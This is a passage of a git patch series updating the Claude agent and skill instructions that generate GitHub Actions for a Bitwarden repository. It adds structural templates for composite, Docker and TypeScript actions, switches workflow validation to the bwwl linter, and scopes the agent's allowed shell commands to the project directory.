-**Important**: Use the exact checkout action SHA and version comment from the reference file. Read an existing test workflow to get the currently pinned version. +**Important**: Use the exact checkout action SHA from `references/test-workflow-structure.md`. That template is kept current — do not scan the repository for a different SHA. ### Step 7: Generate README.md Create `{action-name}/README.md` with section headings and TODO placeholders. The scaffold defines the structure; `implement-action` populates it later. -**Required sections** (always include): - -```markdown -# {Action Name} - -{description from SPEC.md} - -## Inputs - -| Name | Description | Required | Default | -|------|-------------|----------|---------| - - -## Outputs - -| Name | Description | -|------|-------------| - - -## Usage - - - -``` - -**Conditional sections** (include based on SPEC.md): - -```markdown -## Features - - -## Prerequisites - - -## Permissions - - -## Development - -``` - -**Section ordering**: Title → Description → Features (if applicable) → Inputs → Outputs → Prerequisites (if applicable) → Usage → Permissions (if applicable) → Development (if applicable) +Read `references/readme-specification.md` (already loaded in Step 2) for the canonical section definitions, table formats, ordering rules, and formatting constraints. -Only include conditional sections whose TODO markers will be fulfillable based on SPEC.md. Do not include empty conditional sections. +**Scaffolding rules:** +- Include all sections from the specification that apply based on SPEC.md (Title, Description, Features, Inputs, Outputs, Usage, and any relevant supplementary sections). +- Use `` comments as placeholders for content that implement-action will fill in. +- Only include conditional/supplementary sections whose TODOs will be fulfillable based on SPEC.md. Do not include empty sections. +- Pre-fill table headers and column structure exactly as the specification defines (column order, backtick formatting). +- Pre-fill the title and description from SPEC.md — these are known at scaffold time. ### Step 8: Report Results @@ -310,8 +283,9 @@ Next step: Run the implement-action skill to replace TODO placeholders with work ## Important Rules - Do NOT implement any logic. Only generate skeletons with TODO comments. -- Always read the reference files first to match current conventions exactly. -- For the test workflow, use the exact pinned SHA for `actions/checkout` from an existing test workflow. +- Always read the structural templates in `references/` first. They are the primary baseline. +- For the test workflow, use the exact pinned SHA for `actions/checkout` from `references/test-workflow-structure.md`. +- Do not scan the repository for patterns unless the templates are insufficient for the SPEC.md requirements. If discovery is needed, propose references to the user first. - All input references in composite `run:` blocks MUST go through `env:` -- never use `${{ inputs.* }}` directly in shell commands. - Output names must use underscores, not hyphens. - Runner must be pinned to `ubuntu-24.04` (not `ubuntu-latest`). diff --git a/.claude/skills/scaffold-action/references/composite-structure.md b/.claude/skills/scaffold-action/references/composite-structure.md new file mode 100644 index 000000000..f7df45bcc --- /dev/null +++ b/.claude/skills/scaffold-action/references/composite-structure.md @@ -0,0 +1,123 @@ +# Composite Action — Structural Template + +Distilled from: `check-permission`, `get-pull-request-threads`, `update-pr-comment`, `container-tag` + +--- + +## Files + +A composite action directory contains: + +``` +{action-name}/ +├── action.yml +├── README.md +└── SPEC.md (internal, deleted after pipeline completes) +``` + +No additional files are needed — all logic lives in `action.yml`. + +--- + +## action.yml Structure + +```yaml +name: "{Action Name}" +description: "{One-line description}" +author: "Bitwarden" + +inputs: + required_input: + description: "What this input controls" + required: true + optional_input: + description: "What this optional input controls" + required: false + default: "default_value" + +outputs: + output_name: + description: "What this output contains" + value: ${{ steps.step-id.outputs.output_name }} + +runs: + using: "composite" + steps: + - name: Descriptive step name + id: step-id + shell: bash + env: + REQUIRED_INPUT: ${{ inputs.required_input }} + OPTIONAL_INPUT: ${{ inputs.optional_input }} + run: | + set -e + # TODO: Implementation +``` + +### Field ordering + +1. `name` +2. `description` +3. `author` +4. `inputs` (required first, then optional) +5. `outputs` (each with `description` and `value`) +6. `runs` + +### Output value references + +Every output `value` must reference a step by its `id`: + +```yaml +outputs: + result: + description: "The result" + value: ${{ steps.my-step.outputs.result }} +``` + +The step `id` and output name must match exactly. + +### Step conventions + +- Every step has `shell: bash` +- Every step has an `env:` block mapping all inputs it uses +- Never use `${{ inputs.* }}` directly in `run:` blocks +- Steps that set outputs must have an `id:` + +### Multi-step actions + +For actions with multiple logical phases (e.g., authenticate → fetch → process), use separate steps: + +```yaml +steps: + - name: Authenticate + id: auth + shell: bash + env: + CLIENT_ID: ${{ inputs.client_id }} + run: | + set -e + # TODO: Authentication logic + + - name: Process data + id: process + shell: bash + env: + AUTH_TOKEN: ${{ steps.auth.outputs.token }} + run: | + set -e + # TODO: Processing logic +``` + +### Calling other actions from composite steps + +When wrapping Bitwarden actions: + +```yaml +steps: + - name: Azure login + uses: bitwarden/gh-actions/azure-login@main + with: + tenant_id: ${{ inputs.azure_tenant_id }} + client_id: ${{ inputs.azure_client_id }} + subscription_id: ${{ inputs.azure_subscription_id }} +``` diff --git a/.claude/skills/scaffold-action/references/docker-structure.md b/.claude/skills/scaffold-action/references/docker-structure.md new file mode 100644 index 000000000..41203839c --- /dev/null +++ b/.claude/skills/scaffold-action/references/docker-structure.md @@ -0,0 +1,121 @@ +# Docker/Python Action — Structural Template + +Distilled from: `version-bump` + +--- + +## Files + +A Docker action directory contains: + +``` +{action-name}/ +├── action.yml +├── Dockerfile +├── main.py +├── README.md +└── SPEC.md (internal, deleted after pipeline completes) +``` + +--- + +## action.yml Structure + +```yaml +name: "{Action Name}" +description: "{One-line description}" +author: "Bitwarden" + +inputs: + required_input: + description: "What this input controls" + required: true + optional_input: + description: "What this optional input controls" + required: false + default: "default_value" + +outputs: + output_name: + description: "What this output contains" + +runs: + using: "docker" + image: "Dockerfile" +``` + +### Key differences from composite + +- `runs.using` is `"docker"` (not `"composite"`) +- `runs.image` points to `"Dockerfile"` (relative to action directory) +- Outputs do not have a `value` field — they are set by writing to `GITHUB_OUTPUT` in Python +- Inputs are passed as environment variables with `INPUT_` prefix (handled by GitHub Actions runtime) + +--- + +## Dockerfile Structure + +```dockerfile +FROM python:3-slim AS builder + +WORKDIR /app + +# Install dependencies (only if needed) +# RUN pip3 install --no-cache-dir package-name --target=. + +ADD ./main.py . + +FROM gcr.io/distroless/python3-debian12 + +WORKDIR /app +COPY --from=builder /app /app +ENV PYTHONPATH=/app + +ENTRYPOINT ["/usr/bin/python3", "-u", "/app/main.py"] +``` + +### Multi-stage build pattern + +- **Builder stage** (`python:3-slim`): Install pip packages with `--target=.` so they land in `/app` +- **Final stage** (`gcr.io/distroless/python3-debian12`): Minimal image, no shell, no package manager +- `ENV PYTHONPATH=/app` ensures pip-installed packages are importable +- `-u` flag ensures unbuffered Python output for real-time log streaming + +### When dependencies are needed + +Add the `RUN pip3 install` line for any packages beyond the Python standard library: + +```dockerfile +RUN pip3 install --no-cache-dir pyyaml tomlkit --target=. +``` + +### When no dependencies are needed + +Remove the `RUN pip3 install` line entirely. The builder stage still handles `ADD ./main.py`. + +--- + +## main.py Skeleton + +```python +import os +import sys + + +def main(): + # TODO: Read inputs from environment variables + # input_name = os.getenv("INPUT_INPUT_NAME", "") + + # TODO: Validate inputs + + # TODO: Core logic + + # TODO: Set outputs + # if "GITHUB_OUTPUT" in os.environ: + # with open(os.environ["GITHUB_OUTPUT"], "a") as f: + # print(f"output_name={value}", file=f) + + +if __name__ == "__main__": + main() +``` diff --git a/.claude/skills/implement-action/references/readme-specfication.md b/.claude/skills/scaffold-action/references/readme-specification.md similarity index 100% rename from .claude/skills/implement-action/references/readme-specfication.md rename to .claude/skills/scaffold-action/references/readme-specification.md diff --git a/.claude/skills/scaffold-action/references/test-workflow-structure.md b/.claude/skills/scaffold-action/references/test-workflow-structure.md new file mode 100644 index 000000000..b5e559bdc --- /dev/null +++ b/.claude/skills/scaffold-action/references/test-workflow-structure.md @@ -0,0 +1,149 @@ +# Test Workflow — Structural Template + +Distilled from: `test-check-permission.yml` + +--- + +## Single-Job Test Workflow + +```yaml +name: Test {Action Name} + +on: + pull_request: + paths: + - "{action-name}/**" + - ".github/workflows/test-{action-name}.yml" + workflow_dispatch: + +permissions: + contents: read + +jobs: + test: + name: Test {Action Name} + runs-on: ubuntu-24.04 + steps: + - name: Checkout + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Run {action-name} + id: test + uses: ./{action-name} + with: + # TODO: Provide test inputs + + - name: Verify outputs + env: + # TODO: Map outputs to env vars + OUTPUT_NAME: ${{ steps.test.outputs.output_name }} + run: | + echo "Output: $OUTPUT_NAME" + # TODO: Add assertions +``` + +--- + +## Multi-Job Test Workflow + +For actions with distinct modes or configurations, use separate jobs: + +```yaml +name: Test {Action Name} + +on: + pull_request: + paths: + - "{action-name}/**" + - ".github/workflows/test-{action-name}.yml" + workflow_dispatch: + +permissions: + contents: read + +jobs: + test-default-mode: + name: Test default mode + runs-on: ubuntu-24.04 + steps: + - name: Checkout + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Run with default configuration + id: test-default + uses: ./{action-name} + with: + # TODO: Provide default mode inputs + + - name: Verify outputs + env: + OUTPUT: ${{ steps.test-default.outputs.output_name }} + run: | + echo "Output: $OUTPUT" + + test-alternate-mode: + name: Test alternate mode + runs-on: ubuntu-24.04 + steps: + - name: Checkout + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Run with alternate configuration + id: test-alt + uses: ./{action-name} + with: + # TODO: Provide alternate mode inputs + + - name: Verify outputs + env: + OUTPUT: ${{ steps.test-alt.outputs.output_name }} + run: | + echo "Output: $OUTPUT" +``` + +--- + +## Structural Rules + +### Triggers + +- Always include `pull_request` with `paths` scoped to the action directory and the test workflow itself +- Always include `workflow_dispatch` for manual testing + +### Permissions + +- Set `permissions` at the workflow level (not per-job) unless jobs need different scopes +- Use `contents: read` as the baseline — only escalate if the action requires more + +### Runners + +- Always pin to `ubuntu-24.04` — never use `ubuntu-latest` + +### External Actions + +- Pin to commit SHA with version comment: `uses: actions/checkout@{sha} # v{version}` +- Always include `persist-credentials: false` on checkout + +### Output Verification + +- Map step outputs to `env:` variables — never inline `${{ steps.*.outputs.* }}` in `run:` blocks +- Use descriptive env var names that match the output names + +### Job Naming + +- Workflow `name` starts with a capital letter +- Job `name` starts with a capital letter +- Step `name` starts with a capital letter + +### When to Use Multiple Jobs + +- The action has distinct modes (e.g., fail/skip/continue) +- The action has mutually exclusive input combinations +- Different test scenarios need different permissions +- A failure in one scenario should not block testing other scenarios diff --git a/.claude/skills/scaffold-action/references/typescript-structure.md b/.claude/skills/scaffold-action/references/typescript-structure.md new file mode 100644 index 000000000..f79bb00a8 --- /dev/null +++ b/.claude/skills/scaffold-action/references/typescript-structure.md @@ -0,0 +1,144 @@ +# TypeScript Action — Structural Template + +Distilled from: `get-keyvault-secrets` + +--- + +## Files + +A TypeScript action directory contains: + +``` +{action-name}/ +├── action.yml +├── package.json +├── tsconfig.json +├── .gitignore +├── README.md +├── SPEC.md (internal, deleted after pipeline completes) +├── src/ +│ └── main.ts +└── dist/ (generated by build, committed) + └── index.js +``` + +--- + +## action.yml Structure + +```yaml +name: "{Action Name}" +description: "{One-line description}" +author: "Bitwarden" + +inputs: + required_input: + description: "What this input controls" + required: true + optional_input: + description: "What this optional input controls" + required: false + default: "default_value" + +outputs: + output_name: + description: "What this output contains" + +runs: + using: "node24" + main: "dist/index.js" +``` + +### Key differences from composite + +- `runs.using` is `"node24"` (not `"composite"`) +- `runs.main` points to the compiled bundle at `dist/index.js` +- Outputs do not have a `value` field — they are set programmatically via `core.setOutput()` + +--- + +## package.json Structure + +```json +{ + "name": "@bitwarden/{action-name}", + "version": "0.0.0", + "private": true, + "type": "module", + "scripts": { + "build": "ncc build src/main.ts -o dist --license licenses.txt", + "postbuild": "node -e \"const fs=require('fs'); const f='dist/index.js'; fs.writeFileSync(f, fs.readFileSync(f,'utf8').replace(/\\r\\n/g,'\\n'))\"" + }, + "dependencies": { + "@actions/core": "^1.11.1" + }, + "devDependencies": { + "@vercel/ncc": "^0.38.4", + "typescript": "^5.9.3" + } +} +``` + +### Notes + +- `"type": "module"` enables ES module syntax +- `postbuild` normalizes line endings (CRLF → LF) for cross-platform consistency +- `@vercel/ncc` bundles all dependencies into a single `dist/index.js` +- Add integration-specific packages to `dependencies` based on SPEC.md + +--- + +## tsconfig.json Structure + +```json +{ + "compilerOptions": { + "target": "es2022", + "module": "nodenext", + "moduleResolution": "nodenext", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "rootDir": "./src", + "outDir": "./dist" + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} +``` + +--- + +## src/main.ts Skeleton + +```typescript +import * as core from '@actions/core'; + +async function run(): Promise { + try { + // TODO: Read inputs + // TODO: Validate inputs + // TODO: Core logic + // TODO: Set outputs + } catch (error) { + core.setFailed(error instanceof Error ? error.message : String(error)); + } +} + +run(); +``` + +--- + +## .gitignore + +``` +node_modules/ +``` + +The `dist/` directory is NOT gitignored — compiled output must be committed. From d331a003b01e0609d91f243575ef077f645ebf3c Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 17:34:59 -0400 Subject: [PATCH 25/31] skill coherence --- .../skills/scaffold-action/references/composite-structure.md | 2 +- .claude/skills/scaffold-action/references/docker-structure.md | 2 +- .../skills/scaffold-action/references/typescript-structure.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.claude/skills/scaffold-action/references/composite-structure.md b/.claude/skills/scaffold-action/references/composite-structure.md index f7df45bcc..fc62d87df 100644 --- a/.claude/skills/scaffold-action/references/composite-structure.md +++ b/.claude/skills/scaffold-action/references/composite-structure.md @@ -12,7 +12,7 @@ A composite action directory contains: {action-name}/ ├── action.yml ├── README.md -└── SPEC.md (internal, deleted after pipeline completes) +└── SPEC.md (internal, delete manually after pipeline completes) ``` No additional files are needed — all logic lives in `action.yml`. diff --git a/.claude/skills/scaffold-action/references/docker-structure.md b/.claude/skills/scaffold-action/references/docker-structure.md index 41203839c..9a354164c 100644 --- a/.claude/skills/scaffold-action/references/docker-structure.md +++ b/.claude/skills/scaffold-action/references/docker-structure.md @@ -14,7 +14,7 @@ A Docker action directory contains: ├── Dockerfile ├── main.py ├── README.md -└── SPEC.md (internal, deleted after pipeline completes) +└── SPEC.md (internal, delete manually after pipeline completes) ``` --- diff --git a/.claude/skills/scaffold-action/references/typescript-structure.md b/.claude/skills/scaffold-action/references/typescript-structure.md index f79bb00a8..545703f6d 100644 --- a/.claude/skills/scaffold-action/references/typescript-structure.md +++ b/.claude/skills/scaffold-action/references/typescript-structure.md @@ -15,7 +15,7 @@ A TypeScript action directory contains: ├── tsconfig.json ├── .gitignore ├── README.md -├── SPEC.md (internal, deleted after pipeline completes) +├── SPEC.md (internal, delete manually after pipeline completes) ├── src/ │ └── main.ts └── dist/ (generated by build, committed) From e94ef08437f798d4dad5aff510c588a0cd02daee Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 17:41:57 -0400 Subject: [PATCH 26/31] skill completeness updates --- .claude/skills/define-action/SKILL.md | 18 ++++++++++++++++-- .claude/skills/implement-action/SKILL.md | 2 +- .claude/skills/validate-action/SKILL.md | 8 +++++--- 3 files changed, 22 insertions(+), 6 deletions(-) diff --git a/.claude/skills/define-action/SKILL.md b/.claude/skills/define-action/SKILL.md index 91bfd1fb3..f24d22954 100644 --- a/.claude/skills/define-action/SKILL.md +++ b/.claude/skills/define-action/SKILL.md @@ -70,13 +70,27 @@ Gather all of the following in as few rounds as possible. Present the full list - Platform requirements (Ubuntu only, or also macOS/Windows)? - Required GitHub token permissions? -### Step 3: Validate +### Step 3: Reference Existing Actions (Optional) + +If the user describes the new action in terms of an existing one (e.g., "like check-permission but for...", "similar to container-tag"), or if the inputs/outputs/integrations closely resemble an action already in the repo: + +1. Propose reading the existing action's `action.yml` and `README.md` to seed the specification: + ``` + This sounds similar to {existing-action}. Want me to read its action.yml and README + to use as a starting point for inputs/outputs/structure? + ``` +2. Only read the files after the user approves. +3. Use the existing action as context to suggest analogous inputs, outputs, and integration patterns — but confirm each with the user rather than copying blindly. + +Skip this step if the user's description does not reference or resemble any existing action. + +### Step 4: Validate 1. Use `ls` in the repository root to verify the action name does not conflict with an existing directory. 2. Use `Glob` with pattern `*/action.yml` to list existing actions for reference. 3. If either check reveals a conflict, report it and ask for a corrected name before proceeding. -### Step 4: Write SPEC.md +### Step 5: Write SPEC.md 1. Run `mkdir -p {action-name}` to create the action directory. 2. Generate an ASCII architecture diagram for the `## Architecture Diagram` section. The diagram should show: diff --git a/.claude/skills/implement-action/SKILL.md b/.claude/skills/implement-action/SKILL.md index af3142acd..1edc46362 100644 --- a/.claude/skills/implement-action/SKILL.md +++ b/.claude/skills/implement-action/SKILL.md @@ -129,7 +129,7 @@ Read `{action-name}/README.md` (scaffolded with section headings and TODO placeh 7. **Development section** (if present, TypeScript only): Document `npm install` and `npm run build` commands. 8. Remove all remaining TODO/placeholder comments from the README. -Populate the sections as scaffolded — the structure was established by scaffold-action. Read `check-permission/README.md` or `api-commit/README.md` as live examples for content style. +Populate the sections as scaffolded — the structure was established by scaffold-action. Read the README specification at `.claude/skills/scaffold-action/references/readme-specification.md` for formatting rules (column order, backtick formatting, ordering, line limits). Read `check-permission/README.md` or `api-commit/README.md` as live examples for content style. ### Step 7: Update Test Workflow diff --git a/.claude/skills/validate-action/SKILL.md b/.claude/skills/validate-action/SKILL.md index 4daaf27ec..94af69ebd 100644 --- a/.claude/skills/validate-action/SKILL.md +++ b/.claude/skills/validate-action/SKILL.md @@ -56,11 +56,11 @@ Record each file that required formatting as a Low finding. Read `{action-name}/action.yml` and verify all required fields. Use `Grep` to search for specific keys if needed. -- [ ] `name` -- present and descriptive +- [ ] `name` -- present, descriptive, and starts with a capital letter - [ ] `description` -- present and descriptive - [ ] `author` -- set to `"Bitwarden"` -- [ ] `inputs` -- each input has `description` and `required` fields -- [ ] `outputs` -- each output has `description`; for composite actions, each also has `value` +- [ ] `inputs` -- each input has `description` and `required` fields; multi-word names use underscores (not hyphens) +- [ ] `outputs` -- each output has `description`; for composite actions, each also has `value`; multi-word names use underscores (not hyphens) - [ ] `runs` -- has correct `using` value for the action type (`composite`, `node24`, or `docker`) **Severity for missing fields:** @@ -68,6 +68,8 @@ Read `{action-name}/action.yml` and verify all required fields. Use `Grep` to se - Missing `author`: **Medium** - Input/output missing `description` or `required`: **High** - Composite output missing `value` reference: **Critical** +- `name` does not start with a capital letter: **Medium** +- Input or output name uses hyphens instead of underscores: **High** ### Step 4: Bitwarden Workflow Linter Compliance From 667e7efed0f147ae3ecfc0c24c478971a86b147b Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 17:49:45 -0400 Subject: [PATCH 27/31] validate-action favor bwwl lint validation --- .claude/skills/validate-action/SKILL.md | 71 ++++++++++--------------- 1 file changed, 27 insertions(+), 44 deletions(-) diff --git a/.claude/skills/validate-action/SKILL.md b/.claude/skills/validate-action/SKILL.md index 94af69ebd..4e60e1195 100644 --- a/.claude/skills/validate-action/SKILL.md +++ b/.claude/skills/validate-action/SKILL.md @@ -10,6 +10,7 @@ allowed-tools: - Grep - Bash(ls:*) - Bash(npx prettier:*) + - Bash(bwwl lint:*) --- # Validate Action - Correctness and Compliance Checks @@ -73,50 +74,32 @@ Read `{action-name}/action.yml` and verify all required fields. Use `Grep` to se ### Step 4: Bitwarden Workflow Linter Compliance -Read `.github/workflows/test-{action-name}.yml` and check it against each linter rule. Use `Grep` to search for specific patterns. Also read one existing test workflow (e.g., `.github/workflows/test-check-permission.yml`) as a reference for expected conventions and pinned SHAs. - -**name_exists** -- every workflow and job must have a `name` field. -- [ ] Workflow has top-level `name:` -- [ ] Every job has a `name:` field -- Missing name: **High** - -**name_capitalized** -- names must begin with a capital letter. -- [ ] Workflow name starts with uppercase -- [ ] All job names start with uppercase -- [ ] All step names start with uppercase -- Lowercase name: **Medium** - -**permissions_exist** -- `permissions` key must be explicitly set. -- [ ] Workflow-level `permissions:` is present, OR every job has a `permissions:` key -- Missing permissions: **High** - -**pinned_job_runner** -- runners must be pinned to specific versions. -- [ ] All `runs-on` values use pinned versions (e.g., `ubuntu-24.04`, NOT `ubuntu-latest`) -- Unpinned runner: **High** - -**step_pinned** -- external actions must be pinned to commit SHA. -- [ ] All `uses:` references to external actions use `owner/repo@SHA # vX.Y.Z` format -- [ ] Local actions (`./action-name`) are exempt from pinning -- Use `Grep` with pattern `uses:` in the test workflow to find all action references -- Unpinned external action: **High** - -**step_approved** -- only approved actions are used. -- [ ] Check all external `uses:` references against commonly approved actions: `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact` -- [ ] If an unapproved action is found, record it as **High** and suggest alternatives -- Use `Grep` across existing test workflows to see which actions are commonly used in this repo - -**underscore_outputs** -- multi-word output names must use underscores. -- [ ] All output names in `action.yml` use underscores (not hyphens) -- [ ] All output references in the test workflow use underscore format -- Hyphenated output name: **High** - -**job_environment_prefix** -- environment variable naming conventions. -- [ ] Job-level environment variables follow Bitwarden naming conventions -- Non-conforming env var: **Medium** - -**check_pr_target** -- if `pull_request_target` trigger is used, it must only run on the default branch. -- [ ] If present, verify it targets `main` -- Unrestricted pull_request_target: **Critical** +Run the Bitwarden Workflow Linter (`bwwl`) against the test workflow. This is the authoritative source for linting rules — do not reimplement its checks manually. + +```bash +bwwl lint -f .github/workflows/test-{action-name}.yml +``` + +If `bwwl` is available: +1. Run it and capture the output. +2. Record each reported violation as a finding. Map severity from the linter output: + - Violations that would block PR merge: **High** + - Warnings: **Medium** +3. Fix each violation directly using `Edit`, then re-run `bwwl lint` to confirm the fix. + +If `bwwl` is not available (command not found): +1. Report to the user: "`bwwl` is not installed. Install with `pip install bitwarden_workflow_linter`. Falling back to manual checks." +2. Read `.github/workflows/test-{action-name}.yml` and manually check the following rules. Also read one existing test workflow (e.g., `.github/workflows/test-check-permission.yml`) as a reference for expected conventions and pinned SHAs. + + - **name_exists**: Workflow and every job must have a `name` field. Missing: **High** + - **name_capitalized**: Workflow, job, and step names must start with a capital letter. Lowercase: **Medium** + - **permissions_exist**: `permissions` key must be set at workflow level or on every job. Missing: **High** + - **pinned_job_runner**: `runs-on` must use pinned versions (e.g., `ubuntu-24.04`, not `ubuntu-latest`). Unpinned: **High** + - **step_pinned**: External `uses:` must be pinned to SHA with version comment (`owner/repo@SHA # vX.Y.Z`). Local actions exempt. Unpinned: **High** + - **step_approved**: Only approved external actions are used. Unapproved: **High** + - **underscore_outputs**: Multi-word output names must use underscores, not hyphens. Hyphenated: **High** + - **job_environment_prefix**: Job-level env vars follow Bitwarden naming conventions. Non-conforming: **Medium** + - **check_pr_target**: `pull_request_target` trigger must only run on default branch. Unrestricted: **Critical** ### Step 5: File Naming Conventions From 88f580e85e1c8f1b11f2af7513a5176e5b677525 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 18:11:26 -0400 Subject: [PATCH 28/31] agent skill tool use --- .claude/agents/action-generator.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index 79a94939c..d7bc1e47f 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -10,7 +10,7 @@ tools: - Grep - Read - Write - - Skills + - Skill - AskUserQuestion --- From 9e80030047de9e16db973fe5263e67fb7d2ee69d Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Thu, 2 Apr 2026 14:17:53 -0400 Subject: [PATCH 29/31] scope Bash-releated commands to project --- .claude/agents/action-generator.md | 2 +- .claude/skills/define-action/SKILL.md | 4 ++-- .claude/skills/evaluate-action/SKILL.md | 2 +- .claude/skills/implement-action/SKILL.md | 6 +++--- .claude/skills/scaffold-action/SKILL.md | 4 ++-- .claude/skills/validate-action/SKILL.md | 2 +- 6 files changed, 10 insertions(+), 10 deletions(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index d7bc1e47f..c913f995c 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -4,7 +4,7 @@ description: "Orchestrates the generation of a new custom GitHub Action for the model: opus color: blue tools: - - Bash(ls:*) + - Bash(ls:./*) - Edit - Glob - Grep diff --git a/.claude/skills/define-action/SKILL.md b/.claude/skills/define-action/SKILL.md index f24d22954..2db738b94 100644 --- a/.claude/skills/define-action/SKILL.md +++ b/.claude/skills/define-action/SKILL.md @@ -4,8 +4,8 @@ description: "Gather requirements for a new GitHub Action through interactive qu argument-hint: "[action-name]" allowed-tools: - Read - - Bash(ls:*) - - Bash(mkdir:*) + - Bash(ls:./*) + - Bash(mkdir:./*) - Write - Glob --- diff --git a/.claude/skills/evaluate-action/SKILL.md b/.claude/skills/evaluate-action/SKILL.md index d4074bd32..8563dba6a 100644 --- a/.claude/skills/evaluate-action/SKILL.md +++ b/.claude/skills/evaluate-action/SKILL.md @@ -8,7 +8,7 @@ allowed-tools: - Write - Glob - Grep - - Bash(ls:*) + - Bash(ls:./*) --- # Evaluate Action - Completeness Review diff --git a/.claude/skills/implement-action/SKILL.md b/.claude/skills/implement-action/SKILL.md index 1edc46362..e5d55a74e 100644 --- a/.claude/skills/implement-action/SKILL.md +++ b/.claude/skills/implement-action/SKILL.md @@ -8,9 +8,9 @@ allowed-tools: - Write - Glob - Grep - - Bash(ls:*) - - Bash(cd * && npm install) - - Bash(cd * && npm run build) + - Bash(ls:./*) + - Bash(cd ./* && npm install) + - Bash(cd ./* && npm run build) --- # Implement Action - Core Logic Development diff --git a/.claude/skills/scaffold-action/SKILL.md b/.claude/skills/scaffold-action/SKILL.md index 90014a774..2ad6dace6 100644 --- a/.claude/skills/scaffold-action/SKILL.md +++ b/.claude/skills/scaffold-action/SKILL.md @@ -6,8 +6,8 @@ allowed-tools: - Read - Write - Glob - - Bash(ls:*) - - Bash(mkdir:*) + - Bash(ls:./*) + - Bash(mkdir:./*) --- # Scaffold Action - Boilerplate Generation diff --git a/.claude/skills/validate-action/SKILL.md b/.claude/skills/validate-action/SKILL.md index 4e60e1195..57fae71f6 100644 --- a/.claude/skills/validate-action/SKILL.md +++ b/.claude/skills/validate-action/SKILL.md @@ -8,7 +8,7 @@ allowed-tools: - Write - Glob - Grep - - Bash(ls:*) + - Bash(ls:./*) - Bash(npx prettier:*) - Bash(bwwl lint:*) --- From 9b0544ce7974d6962054f534009ae1e6fe4ff346 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Thu, 2 Apr 2026 14:41:07 -0400 Subject: [PATCH 30/31] fix(generate-action): description --- .claude/skills/generate-action/SKILL.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.claude/skills/generate-action/SKILL.md b/.claude/skills/generate-action/SKILL.md index d331c6441..798c84f32 100644 --- a/.claude/skills/generate-action/SKILL.md +++ b/.claude/skills/generate-action/SKILL.md @@ -1,6 +1,6 @@ --- name: generate-action -description: "Generate a new custom GitHub Action with full compliance and security checks. Orchestrates define, scaffold, implement, evaluate, and validate phases via the action-generator agent." +description: "Generate a new custom GitHub Action with full compliance checks. Orchestrates define, scaffold, implement, evaluate, and validate phases via the action-generator agent." argument-hint: "[action-name-or-description]" --- From 66ee4ca32bf86bddb87f68eca3e0074c72864767 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Thu, 2 Apr 2026 14:52:29 -0400 Subject: [PATCH 31/31] action-generator permit automatic rm of spec.md --- .claude/agents/action-generator.md | 6 ++++-- .../scaffold-action/references/composite-structure.md | 2 +- .../skills/scaffold-action/references/docker-structure.md | 2 +- .../scaffold-action/references/typescript-structure.md | 2 +- 4 files changed, 7 insertions(+), 5 deletions(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index c913f995c..851ea5574 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -5,6 +5,7 @@ model: opus color: blue tools: - Bash(ls:./*) + - Bash(rm:./*/SPEC.md) - Edit - Glob - Grep @@ -203,12 +204,13 @@ Keep updates concise — one or two sentences per transition. Do not repeat info After all 5 phases complete successfully: -1. **Summary**: Provide a final report: +1. **Clean up**: Run `rm {action-name}/SPEC.md` to remove the internal specification artifact. + +2. **Summary**: Provide a final report: - Action name and type - Files created (list all) - Key implementation details - Recommendations for manual follow-up: - - Delete `{action-name}/SPEC.md` — internal artifact, no longer needed - Add any required secrets to the test repository - Submit the action for approval in the workflow linter's approved actions list if other workflows will reference it - Run the test workflow after merging diff --git a/.claude/skills/scaffold-action/references/composite-structure.md b/.claude/skills/scaffold-action/references/composite-structure.md index fc62d87df..0a3f8e061 100644 --- a/.claude/skills/scaffold-action/references/composite-structure.md +++ b/.claude/skills/scaffold-action/references/composite-structure.md @@ -12,7 +12,7 @@ A composite action directory contains: {action-name}/ ├── action.yml ├── README.md -└── SPEC.md (internal, delete manually after pipeline completes) +└── SPEC.md (internal, removed automatically by the agent at pipeline completion) ``` No additional files are needed — all logic lives in `action.yml`. diff --git a/.claude/skills/scaffold-action/references/docker-structure.md b/.claude/skills/scaffold-action/references/docker-structure.md index 9a354164c..00c0547ea 100644 --- a/.claude/skills/scaffold-action/references/docker-structure.md +++ b/.claude/skills/scaffold-action/references/docker-structure.md @@ -14,7 +14,7 @@ A Docker action directory contains: ├── Dockerfile ├── main.py ├── README.md -└── SPEC.md (internal, delete manually after pipeline completes) +└── SPEC.md (internal, removed automatically by the agent at pipeline completion) ``` --- diff --git a/.claude/skills/scaffold-action/references/typescript-structure.md b/.claude/skills/scaffold-action/references/typescript-structure.md index 545703f6d..d1d202ad2 100644 --- a/.claude/skills/scaffold-action/references/typescript-structure.md +++ b/.claude/skills/scaffold-action/references/typescript-structure.md @@ -15,7 